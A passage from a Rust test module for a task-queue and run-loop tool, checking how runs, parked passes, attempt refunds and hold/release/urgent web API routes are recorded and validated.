15987    fn flow_follows_blocked_retry_merged_to_done() {
15988        let mut t = flow_task(&[FA, FB]);
15989        t.status = TaskStatus::Done;
15990        let f = flow_for(
15991            &t,
15992            &[
15993                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15994                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15995            ],
15996        );
15997        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15998        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15999        assert_eq!(f.edges.len(), 3);
16000        assert_eq!(f.edges[0].label, "claimed");
16001        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16002        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16003        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16004        assert_eq!(
16005            f.nodes[2].href.as_deref(),
16006            Some("#/runs/20260902-140502-bbbb")
16007        );
16008        assert!(f.nodes[2].decided);
16009    }
16010
16011    #[test]
16012    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16013        let quota = || {
16014            flow_run(RunStatus::Stalled, |s| {
16015                s.quota.push(crate::run::QuotaLoss {
16016                    seat: "judge-1".to_owned(),
16017                    node: "judge".to_owned(),
16018                    at: Timestamp::now(),
16019                    reset: None,
16020                })
16021            })
16022        };
16023        let mut t = flow_task(&[FA, FA]);
16024        t.status = TaskStatus::Queued;
16025        let f = flow_for(&t, &[(FA, Some(quota()))]);
16026        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16027        assert_eq!(f.nodes[1].note, Some("interrupted"));
16028        assert_eq!(
16029            f.nodes[1].status, None,
16030            "no outcome copied onto an earlier pass"
16031        );
16032        assert_eq!(
16033            f.edges[1].attempt,
16034            AttemptCost::Unknown,
16035            "a resume does not prove the earlier pass was refunded"
16036        );
16037        assert!(f.edges[1].label.contains("resume the same run"));
16038        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16039        assert_eq!(
16040            f.edges[2].label,
16041            "stalled after a resume, refund unknown \u{2192} queued"
16042        );
16043        assert!(!f.nodes[2].decided, "a stall is not a decision");
16044        assert_eq!(f.nodes[2].note, Some("no verdict"));
16045    }
16046
16047    #[test]
16048    fn flow_single_pass_quota_stall_is_refunded() {
16049        let t = flow_task(&[FA]);
16050        let f = flow_for(
16051            &t,
16052            &[(
16053                FA,
16054                Some(flow_run(RunStatus::Stalled, |s| {
16055                    s.quota.push(crate::run::QuotaLoss {
16056                        seat: "judge-1".to_owned(),
16057                        node: "judge".to_owned(),
16058                        at: Timestamp::now(),
16059                        reset: None,
16060                    })
16061                })),
16062            )],
16063        );
16064        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16065    }
16066
16067    #[test]
16068    fn flow_parked_refunds_and_stall_without_quota_spends() {
16069        let mut t = flow_task(&[FA]);
16070        t.status = TaskStatus::Queued;
16071        let f = flow_for(
16072            &t,
16073            &[(
16074                FA,
16075                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16076            )],
16077        );
16078        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16079        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16080        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16081        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16082        assert!(!f.nodes[1].decided);
16083    }
16084
16085    #[test]
16086    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16087        let t = flow_task(&[FA, FB]);
16088        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16089        assert_eq!(f.nodes[1].note, Some("unreadable"));
16090        assert!(!f.nodes[1].readable);
16091        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16092        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16093    }
16094
16095    #[test]
16096    fn flow_names_the_branch_of_a_review_only_run() {
16097        let t = flow_task(&[FA]);
16098        let f = flow_for(
16099            &t,
16100            &[(
16101                FA,
16102                Some(flow_run(RunStatus::Merged, |s| {
16103                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16104                })),
16105            )],
16106        );
16107        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16108        assert_eq!(
16109            f.nodes[1].detail.as_deref(),
16110            Some("review-only run of branch magi/x/A")
16111        );
16112    }
16113
16114    #[test]
16115    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16116        let mut t = flow_task(&[FA]);
16117        t.status = TaskStatus::Held;
16118        let pr = crate::run::PrRecord {
16119            url: "https://example.test/pr/1".to_owned(),
16120            number: 1,
16121            state: "open".to_owned(),
16122            checks: "green".to_owned(),
16123            round: 0,
16124            rounds: 3,
16125            red_at_merge: Vec::new(),
16126        };
16127        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16128        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16129        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16130        t.status = TaskStatus::Done;
16131        let f = flow_for(&t, &[(FA, Some(blocked))]);
16132        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16133    }
16134
16135    #[test]
16136    fn flow_with_no_runs_goes_from_queued_to_queued() {
16137        let t = flow_task(&[]);
16138        let f = flow_for(&t, &[]);
16139        assert_eq!(f.nodes.len(), 2);
16140        assert_eq!(f.edges.len(), 1);
16141        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16142        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16143    }
16144
16145    /// A run parked mid-flight keeps a non-terminal status; the page must
16146    /// still say why it stopped and that the attempt came back.
16147    #[test]
16148    fn a_parked_non_terminal_run_is_explained_as_parked() {
16149        let mut s = RunState::new(
16150            PathBuf::from("/repo/magi"),
16151            "main".to_owned(),
16152            "0123456789abcdef".to_owned(),
16153            "Do it".to_owned(),
16154            Config::default(),
16155        );
16156        s.status = RunStatus::Implementing;
16157        s.parked = true;
16158        let task = Task::new(
16159            "t".to_owned(),
16160            "Do it".to_owned(),
16161            PathBuf::from("/repo/magi"),
16162            Source::Human,
16163        );
16164        let v = task_run_view(
16165            "20260902-140501-aaaa",
16166            Some(&s),
16167            RunSlot {
16168                n: 1,
16169                resumed: false,
16170                resumed_later: None,
16171                prior: None,
16172                last: true,
16173                ..RunSlot::default()
16174            },
16175            &task,
16176        );
16177        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16178    }
16179
16180    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16181        let mut s = flow_run(RunStatus::Implementing, edit);
16182        s.parked = false;
16183        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16184        task_run_view(
16185            "20260902-140501-aaaa",
16186            Some(&s),
16187            RunSlot {
16188                n: 1,
16189                resumed: false,
16190                resumed_later: Some(2),
16191                prior: None,
16192                last: false,
16193                ..RunSlot::default()
16194            },
16195            &task,
16196        )
16197    }
16198
16199    #[test]
16200    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16201        let v = earlier_pass_view(|_| {});
16202        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16203        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16204        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16205        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16206        assert_eq!(v.exit, RunExit::Interrupted);
16207        assert_eq!(v.attempt, AttemptCost::Unknown);
16208    }
16209
16210    #[test]
16211    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16212        let v = earlier_pass_view(|s| {
16213            s.quota.push(crate::run::QuotaLoss {
16214                seat: "judge-1".to_owned(),
16215                node: "judge".to_owned(),
16216                at: Timestamp::now(),
16217                reset: None,
16218            });
16219        });
16220        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16221        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16222        assert_eq!(v.attempt, AttemptCost::Unknown);
16223    }
16224
16225    #[test]
16226    fn the_current_pass_states_its_recorded_cause_and_cost() {
16227        let slot = || RunSlot {
16228            n: 1,
16229            resumed: false,
16230            resumed_later: None,
16231            prior: None,
16232            last: true,
16233            ..RunSlot::default()
16234        };
16235        let task = flow_task(&["20260902-140501-aaaa"]);
16236        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16237        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16238        assert_eq!(
16239            (v.exit, v.attempt),
16240            (RunExit::Parked, AttemptCost::Refunded)
16241        );
16242        let spent = flow_run(RunStatus::Blocked, |_| {});
16243        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16244        assert_eq!(v.attempt, AttemptCost::Spent);
16245        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16246    }
16247
16248    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16249        crate::run::RunPass {
16250            index,
16251            started_at: Timestamp::now(),
16252            resumed: index > 0,
16253            ended_at: end.as_ref().map(|_| Timestamp::now()),
16254            end,
16255            task_entry: true,
16256        }
16257    }
16258
16259    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16260        Some(crate::run::PassEnd::Parked { cause })
16261    }
16262
16263    fn upgrade_cause() -> crate::run::ParkCause {
16264        crate::run::ParkCause::Upgrade {
16265            from: "0.121.0".to_owned(),
16266            to: Some("0.121.1".to_owned()),
16267        }
16268    }
16269
16270    fn settled_pass(
16271        run: &str,
16272        index: usize,
16273        cost: crate::queue::PassCost,
16274    ) -> crate::queue::TaskPass {
16275        crate::queue::TaskPass {
16276            run: run.to_owned(),
16277            pass_index: index,
16278            started_at: None,
16279            cost,
16280            attempts_after: 1,
16281            settled_at: Timestamp::now(),
16282            parked: None,
16283        }
16284    }
16285
16286    const RUN_X: &str = "20261011-223708-4334";
16287
16288    #[test]
16289    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16290        use crate::queue::PassCost;
16291        let run = flow_run(RunStatus::Implementing, |s| {
16292            s.passes = vec![
16293                recorded_pass(0, parked(upgrade_cause())),
16294                recorded_pass(1, None),
16295            ];
16296        });
16297        let mut task = flow_task(&[RUN_X, RUN_X]);
16298        task.attempts = 1;
16299        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16300        let h = task_history(&task, |_| Some(run.clone()));
16301        assert_eq!(h.len(), 2);
16302        assert_eq!(h[0].kind, "competition");
16303        assert_eq!(h[1].kind, "resume");
16304        assert_eq!(
16305            (h[0].exit, h[0].attempt),
16306            (RunExit::Parked, AttemptCost::Refunded)
16307        );
16308        assert!(
16309            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16310            "{}",
16311            h[0].outcome
16312        );
16313        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16314        assert!(
16315            h[0].outcome.contains("pass #2 resumed the same run"),
16316            "{}",
16317            h[0].outcome
16318        );
16319        assert!(
16320            h[0].outcome.contains("pass 1 of 2 over run"),
16321            "{}",
16322            h[0].outcome
16323        );
16324        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16325        assert_eq!(
16326            h[0].exit_label,
16327            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16328        );
16329        let f = task_flow(&task, &h, 2, None);
16330        // Two passes of one run, one of two attempts consumed.
16331        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16332        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16333        assert!(
16334            f.edges[1].label.contains("upgrade 0.121.0"),
16335            "{}",
16336            f.edges[1].label
16337        );
16338        assert!(
16339            f.edges[1].label.contains("resume the same run"),
16340            "{}",
16341            f.edges[1].label
16342        );
16343        assert_eq!(f.nodes[1].note, Some("parked"));
16344    }
16345
16346    #[test]
16347    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16348        let mut a = flow_run(RunStatus::Implementing, |s| {
16349            s.passes = vec![
16350                recorded_pass(0, parked(upgrade_cause())),
16351                recorded_pass(1, None),
16352            ];
16353        });
16354        let mut b = flow_run(RunStatus::Failed, |s| {
16355            s.passes = vec![recorded_pass(0, None)];
16356        });
16357        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16358        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16359        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16360        let mut task = flow_task(&[]);
16361        task.start("a".into());
16362        task.start("b".into());
16363        task.start("a".into());
16364        assert_eq!(task.runs, ["b", "a"]);
16365        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16366        let h = task_history(&task, |id| {
16367            Some(if id == "a" { a.clone() } else { b.clone() })
16368        });
16369        assert_eq!(
16370            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16371            ["a", "b", "a"]
16372        );
16373        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16374        assert!(h[0].outcome.contains("upgrade"));
16375        assert_eq!(h[2].kind, "resume");
16376        assert!(h[2].pass.is_some());
16377        // The old repeated-id format must show the same recorded passes.
16378        task.runs = vec!["a".into(), "b".into(), "a".into()];
16379        let old = task_history(&task, |id| {
16380            Some(if id == "a" { a.clone() } else { b.clone() })
16381        });
16382        assert_eq!(
16383            old.iter()
16384                .map(|v| (&v.id, &v.kind, v.attempt))
16385                .collect::<Vec<_>>(),
16386            h.iter()
16387                .map(|v| (&v.id, &v.kind, v.attempt))
16388                .collect::<Vec<_>>()
16389        );
16390    }
16391
16392    #[test]
16393    fn an_upgrade_whose_target_was_not_known_says_so() {
16394        let run = flow_run(RunStatus::Implementing, |s| {
16395            s.passes = vec![
16396                recorded_pass(
16397                    0,
16398                    parked(crate::run::ParkCause::Upgrade {
16399                        from: "0.121.0".to_owned(),
16400                        to: None,
16401                    }),
16402                ),
16403                recorded_pass(1, None),
16404            ];
16405        });
16406        let task = flow_task(&[RUN_X, RUN_X]);
16407        let h = task_history(&task, |_| Some(run.clone()));
16408        assert!(
16409            h[0].outcome.contains("upgrade from 0.121.0"),
16410            "{}",
16411            h[0].outcome
16412        );
16413        // No settle record: the refund is not claimed.
16414        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16415    }
16416
16417    #[test]
16418    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16419        use crate::queue::PassCost;
16420        use crate::run::ParkCause;
16421        let run = flow_run(RunStatus::Implementing, |s| {
16422            s.passes = vec![
16423                recorded_pass(0, parked(upgrade_cause())),
16424                recorded_pass(
16425                    1,
16426                    parked(ParkCause::Interrupt {
16427                        reason: "task a1b2 asked to run first".to_owned(),
16428                    }),
16429                ),
16430                recorded_pass(2, parked(ParkCause::Operator)),
16431                recorded_pass(3, None),
16432            ];
16433        });
16434        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16435        task.attempts = 1;
16436        task.passes = (0..3)
16437            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16438            .collect();
16439        let h = task_history(&task, |_| Some(run.clone()));
16440        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16441        assert!(
16442            h[1].outcome.contains("task a1b2 asked to run first"),
16443            "{}",
16444            h[1].outcome
16445        );
16446        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16447        assert!(
16448            h[2].outcome.contains("operator asked the loop to park"),
16449            "{}",
16450            h[2].outcome
16451        );
16452        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16453        let f = task_flow(&task, &h, 2, None);
16454        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16455    }
16456
16457    #[test]
16458    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16459        let run = flow_run(RunStatus::Implementing, |s| {
16460            s.passes = vec![
16461                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16462                recorded_pass(1, None),
16463            ];
16464        });
16465        let task = flow_task(&[RUN_X, RUN_X]);
16466        let h = task_history(&task, |_| Some(run.clone()));
16467        assert_eq!(h[0].exit, RunExit::Interrupted);
16468        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16469        assert!(
16470            h[0].outcome.contains("without recording why"),
16471            "{}",
16472            h[0].outcome
16473        );
16474        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16475        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16476    }
16477
16478    #[test]
16479    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16480        use crate::queue::PassCost;
16481        // Three entries, but the run only began keeping passes at the last
16482        // two: the first is legacy and must not be given a cause.
16483        let run = flow_run(RunStatus::Implementing, |s| {
16484            s.passes = vec![
16485                recorded_pass(0, parked(upgrade_cause())),
16486                recorded_pass(1, None),
16487            ];
16488        });
16489        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16490        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16491        let h = task_history(&task, |_| Some(run.clone()));
16492        assert!(h[0].pass.is_none());
16493        assert_eq!(h[0].exit, RunExit::Interrupted);
16494        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16495        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16496        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16497        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16498        // A run with no passes at all is entirely unknown.
16499        let legacy = flow_run(RunStatus::Implementing, |_| {});
16500        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16501        assert!(h.iter().all(|v| v.pass.is_none()));
16502        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16503    }
16504
16505    #[test]
16506    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16507        use crate::queue::PassCost;
16508        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16509        // task. The two entries are passes 0 and 2.
16510        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16511        web.task_entry = false;
16512        let run = flow_run(RunStatus::Implementing, |s| {
16513            s.passes = vec![
16514                recorded_pass(0, parked(upgrade_cause())),
16515                web.clone(),
16516                recorded_pass(2, None),
16517            ];
16518        });
16519        let mut task = flow_task(&[RUN_X, RUN_X]);
16520        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16521        let h = task_history(&task, |_| Some(run.clone()));
16522        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16523        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16524
16525        // Legacy first entry, then a web resume that parked for an upgrade,
16526        // then the daemon's pass: the legacy entry must stay unknown.
16527        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16528        web0.task_entry = false;
16529        let run = flow_run(RunStatus::Implementing, |s| {
16530            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16531        });
16532        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16533        assert!(h[0].pass.is_none());
16534        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16535        assert!(h[1].pass.is_some());
16536    }
16537
16538    #[tokio::test]
16539    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16540        let dir = tempfile::tempdir().unwrap();
16541        let queue = Queue::at(dir.path().join("queue"));
16542        let ui = Arc::new(Ui::new(
16543            queue.clone(),
16544            Questions::at(dir.path().join("questions")),
16545            Talks::at(dir.path().join("talks")),
16546            dir.path().join("runs"),
16547            dir.path().to_path_buf(),
16548            dir.path().to_path_buf(),
16549        ));
16550        let mut t = Task::new(
16551            "recover".into(),
16552            "Inspect".into(),
16553            PathBuf::from("."),
16554            Source::Human,
16555        );
16556        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16557        t.start("run-A".into());
16558        t.release_operator("choice", Some("resume-question"));
16559        t.resume_override = Some(crate::queue::OperatorResume {
16560            question_id: "resume-question".into(),
16561            at: jiff::Timestamp::now(),
16562            conductor_rehold: None,
16563            forced: true,
16564            pinned_run: Some("run-A".into()),
16565        });
16566        t.hold_machine(Some("inspection pending".into()));
16567        t.edit("recover".into(), "Reuse approved PR head".into())
16568            .unwrap();
16569        queue.put(&mut t).unwrap();
16570        let mut cli = t.clone();
16571        cli.release_operator("cli", None);
16572        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16573        let reloaded = queue.get(&t.id).unwrap();
16574        assert_eq!(reply.task.status, TaskStatus::Queued);
16575        assert!(reloaded.resume_override.is_none());
16576        assert_eq!(reloaded.answers, t.answers);
16577        let mut web = reloaded.resumption.unwrap();
16578        let cli = cli.resumption.unwrap();
16579        assert_eq!(web.source, "web");
16580        web.source = cli.source.clone();
16581        web.at = cli.at;
16582        assert_eq!(web, cli);
16583    }
16584
16585    #[tokio::test]
16586    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16587        let f = Fixture::start().await;
16588        let queue = f.queue();
16589        let mut task = Task::new(
16590            "spent".to_owned(),
16591            "Try again".to_owned(),
16592            PathBuf::from("/repo/magi"),
16593            Source::Human,
16594        );
16595        task.start("20260902-140502-bbbb".to_owned());
16596        task.fail("agent gave up", 9);
16597        queue.put(&mut task).expect("file the task");
16598
16599        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16600        assert_eq!(held.status, 200);
16601        assert_eq!(held.json()["status_str"], "held");
16602
16603        let released = f
16604            .post(&format!("/api/queue/{}/release", task.id), None)
16605            .await;
16606        assert_eq!(released.status, 200);
16607        assert_eq!(released.json()["status_str"], "queued");
16608        assert_eq!(released.json()["resumption"]["source"], "web");
16609        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16610        let mut cli = task.clone();
16611        cli.release_operator("cli", None);
16612        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16613        let cli = cli.resumption.unwrap();
16614        assert_eq!(web.instruction, cli.instruction);
16615        assert_eq!(web.answers_through, cli.answers_through);
16616        assert_eq!(web.runs_through, cli.runs_through);
16617        assert_eq!(web.cleared_reason, cli.cleared_reason);
16618        assert_eq!(
16619            released.json()["attempts"],
16620            0,
16621            "release is a real second chance, not an instant re-hold"
16622        );
16623        assert_eq!(
16624            queue.get(&task.id).expect("reload").status,
16625            TaskStatus::Queued,
16626            "the change is on disk, not only in the reply"
16627        );
16628        assert!(
16629            !f.home
16630                .path()
16631                .join("queue")
16632                .join(format!("{}.lock", task.id))
16633                .exists(),
16634            "the claim the mutation took is released again"
16635        );
16636    }
16637
16638    #[tokio::test]
16639    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16640        let f = Fixture::start().await;
16641        let queue = f.queue();
16642        let mut task = Task::new(
16643            "busy".to_owned(),
16644            "Running right now".to_owned(),
16645            PathBuf::from("/repo/magi"),
16646            Source::Human,
16647        );
16648        queue.put(&mut task).expect("file the task");
16649        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16650
16651        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16652
16653        assert_eq!(res.status, 409);
16654        assert_eq!(
16655            queue.get(&task.id).expect("reload").status,
16656            TaskStatus::Queued,
16657            "the refused hold changed nothing"
16658        );
16659    }
16660
16661    #[tokio::test]
16662    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16663        let f = Fixture::start().await;
16664        let queue = f.queue();
16665        let mut task = Task::new(
16666            "waiting on the migration".to_owned(),
16667            "Do the thing".to_owned(),
16668            PathBuf::from("/repo/magi"),
16669            Source::Human,
16670        );
16671        queue.put(&mut task).expect("file the task");
16672
16673        let held = f
16674            .post(
16675                &format!("/api/queue/{}/hold", task.id),
16676                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16677            )
16678            .await;
16679        assert_eq!(held.status, 200, "{}", held.body);
16680        assert_eq!(held.json()["status_str"], "held");
16681        assert_eq!(
16682            held.json()["hold_reason"],
16683            "waiting for 20260101-000000-aaaa to land"
16684        );
16685
16686        let listed = f.get("/api/queue").await.json();
16687        assert_eq!(
16688            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16689            "the card reads the reason off the same list route"
16690        );
16691
16692        // A hold with no body at all must keep working - most holds have no
16693        // reason to give.
16694        let mut plain = Task::new(
16695            "no reason given".to_owned(),
16696            "Do another thing".to_owned(),
16697            PathBuf::from("/repo/magi"),
16698            Source::Human,
16699        );
16700        queue.put(&mut plain).expect("file the task");
16701        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16702        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16703        assert!(held_plain.json()["hold_reason"].is_null());
16704
16705        let released = f
16706            .post(&format!("/api/queue/{}/release", task.id), None)
16707            .await;
16708        assert_eq!(released.status, 200);
16709        assert!(
16710            released.json()["hold_reason"].is_null(),
16711            "a release must clear the reason so the next hold does not inherit it"
16712        );
16713    }
16714
16715    #[test]
16716    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16717        for urgent in [true, false] {
16718            let body: UrgentBody =
16719                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16720            assert_eq!(body.urgent, urgent);
16721        }
16722        for input in [
16723            r#"{}"#,
16724            r#"{"urgent":null}"#,
16725            r#"{"urgent":"true"}"#,
16726            r#"{"urgent":1}"#,
16727            r#"{"urgent":true,"extra":false}"#,
16728        ] {
16729            assert!(
16730                serde_json::from_str::<UrgentBody>(input).is_err(),
16731                "{input}"
16732            );
16733        }
16734    }
16735
16736    #[tokio::test]
16737    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16738        let home = TempDir::new().unwrap();
16739        let q = Queue::at(home.path().join("queue"));
16740        let ui = Arc::new(Ui::new(
16741            q.clone(),
16742            Questions::at(home.path().join("questions")),
16743            Talks::at(home.path().join("talks")),
16744            home.path().join("runs"),
16745            home.path().into(),
16746            home.path().into(),
16747        ));
16748        let mut task = Task::new(
16749            "urgent handler".into(),
16750            "keep".into(),
16751            home.path().into(),
16752            Source::Human,
16753        );
16754        for status in [TaskStatus::Queued, TaskStatus::Held] {
16755            task.status = status;
16756            q.put(&mut task).unwrap();
16757            for urgent in [true, true, false, false] {
16758                let saved = queue_urgent(
16759                    State(Arc::clone(&ui)),
16760                    Path(task.short().into()),
16761                    Ok(Json(UrgentBody { urgent })),
16762                )
16763                .await
16764                .unwrap();
16765                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16766                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16767            }
16768        }
16769        task.status = TaskStatus::Queued;
16770        q.put(&mut task).unwrap();
16771        let claim = q.claim(&task.id).unwrap();
16772        let error = queue_urgent(
16773            State(Arc::clone(&ui)),
16774            Path(task.id.clone()),
16775            Ok(Json(UrgentBody { urgent: true })),
16776        )
16777        .await
16778        .unwrap_err();
16779        assert_eq!(error.status, StatusCode::CONFLICT);
16780        assert!(error.message.contains("released"));
16781        drop(claim);
16782        for status in [
16783            TaskStatus::Running,
16784            TaskStatus::Done,
16785            TaskStatus::Failed,
16786            TaskStatus::Blocked,
16787            TaskStatus::Parked,
16788        ] {
16789            task.status = status;
16790            q.put(&mut task).unwrap();
16791            let error = queue_urgent(
16792                State(Arc::clone(&ui)),
16793                Path(task.id.clone()),
16794                Ok(Json(UrgentBody { urgent: false })),
16795            )
16796            .await
16797            .unwrap_err();
16798            assert_eq!(error.status, StatusCode::BAD_REQUEST);
16799            assert!(error.message.contains(status.as_str()));
16800        }
16801    }
16802
16803    #[tokio::test]
16804    async fn urgent_api_updates_preserves_and_validates_tasks() {
16805        let f = Fixture::start().await;
16806        let q = f.queue();
16807        let mut t = Task::new(
16808            "urgent API".into(),
16809            "unchanged".into(),
16810            PathBuf::from("/repo/magi"),
16811            Source::Human,
16812        );
16813        t.attempts = 2;
16814        t.priority = 9;
16815        t.interrupt = true;
16816        t.hold_reason = Some("waiting for approval".into());
16817        for status in [TaskStatus::Queued, TaskStatus::Held] {
16818            t.status = status;
16819            q.put(&mut t).unwrap();
16820            for urgent in [true, true, false, false] {
16821                let response = f
16822                    .post(
16823                        &format!("/api/queue/{}/urgent", t.short()),
16824                        Some(&format!("{{\"urgent\":{urgent}}}")),
16825                    )
16826                    .await;
16827                assert_eq!(response.status, 200, "{}", response.body);
16828                assert_eq!(response.json()["urgent"], urgent);
16829                let saved = q.get(&t.id).unwrap();
16830                let mut before = serde_json::to_value(&t).unwrap();
16831                let mut after = serde_json::to_value(saved).unwrap();
16832                before["urgent"] = urgent.into();
16833                before.as_object_mut().unwrap().remove("updated_at");
16834                after.as_object_mut().unwrap().remove("updated_at");
16835                assert_eq!(after, before);
16836            }
16837        }
16838        let route = format!("/api/queue/{}/urgent", t.id);
16839        for body in [
16840            r#"{}"#,
16841            r#"{"urgent":null}"#,
16842            r#"{"urgent":"true"}"#,
16843            r#"{"urgent":1}"#,
16844            r#"{"urgent":true,"extra":false}"#,
16845            "{",
16846        ] {
16847            assert_eq!(f.post(&route, Some(body)).await.status, 400);
16848        }
16849        t.status = TaskStatus::Queued;
16850        q.put(&mut t).unwrap();
16851        let claim = q.claim(&t.id).unwrap();
16852        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16853        assert_eq!(response.status, 409, "{}", response.body);
16854        assert!(!q.get(&t.id).unwrap().urgent);
16855        drop(claim);
16856        for status in [
16857            TaskStatus::Running,
16858            TaskStatus::Done,
16859            TaskStatus::Failed,
16860            TaskStatus::Blocked,
16861            TaskStatus::Parked,
16862        ] {
16863            t.status = status;
